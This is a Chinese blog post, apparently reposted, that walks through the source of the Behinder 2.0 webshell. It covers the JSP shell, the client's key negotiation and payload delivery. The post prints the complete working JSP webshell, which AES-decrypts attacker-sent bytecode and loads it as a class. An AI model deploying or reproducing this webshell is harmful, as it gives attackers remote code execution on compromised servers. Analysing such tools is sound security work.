栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

[Java随笔]冰蝎2.0-jsp马交互部分源码解读

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

[Java随笔]冰蝎2.0-jsp马交互部分源码解读

文章目录
    • 写在前面
    • 源码解读
    • Jsp马交互部分源码解读
      • 认证流程

写在前面

大概是最近搞内存马有点累了,今晚顺便看看冰蝎部分源码,简简单单写篇博客休息休息,本着怕第一次看这个工具源码,怕直接看最新的容易不理解,就拿了个2.0版本看着玩吧,谁知道也太简单了:同款源码在rebeyond/Behinder

源码解读

反编译jar包后,其核心代码在net.rebeyond.behinder

Jsp马交互部分源码解读

直接丢出来源码,挺简单的,首先是一个继承ClassLoader的U类,一看defineClass就知道是加载字节码,没得说接下来看下面部分,get请求传入一个pass参数,随机生成一串神秘字符放到sessin里面,
如果没有get传入pass,用post写一串神秘字符,后面从session中取出密钥然后先base64解码再aes解密恢复字节码并加载

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%><%
    if (request.getParameter("pass") != null) {
        String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
        session.putValue("u", k);
        out.print(k);
        return;
    }
    Cipher c = Cipher.getInstance("AES");
    c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.base64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
%>
认证流程

借一张网图来说明下认证流程

在Behinder.jar!netrebeyondbehinderuiBasicInfoUtils.class下面的getBasicInfo看起来就是重点去关注的东西,先看看这个ShellService


首先初始化部分获取一些我们传入的url,pass等

接下来就是协商key的过程

先随机生成一串带pass的url

省略一些不必要的分析源码,自己看吧很简单判断类型http还是https等不细说,接下来获取返回结果

联系jsp内容很容易想到是类似这样的形式

正则匹配出结果,并通过getRawKey函数进行第二次的获取(和这个差不多的过程不单独去读了,多了一些cookie相关自己读一下就行),两次结果进行异或操作

接下来看看这个看起来又臭又长的部分,很简单,其实就只是保证两次获取的值的第一个字符不一样以及最后一个字符不一样而已,谈不上理解难度,之后设置一些值并返回

在获取了cookie和key之后,BasicInfoUtil的getBasicInfo就会调用ShellService的getBasicInfo方法来获取放了木马的服务器的基本信息

一看就是生成paylaod

由于是jsp,获取对应的字节内容先AES加密,再base64编码返回下

稍微看看这个BasciInfo干嘛,文字都有获取一些系统变量内容、JRE系统属性

接下来就是直接说的利用POST发送payload了然后返回执行结果,分析完毕

说个多余的话,我刚刚还很好奇为啥defineClass加载进去就直接调用了,毕竟没有写在static方法里面,后面发现我自己傻了,shell.jsp后面还有一坨被我吞了没看见

其他部分也没啥可说的了,同样的过程,只是defineClass加载的字节码不同罢了

不知不觉图书馆也闭馆了,今天到此结束

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/461947.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号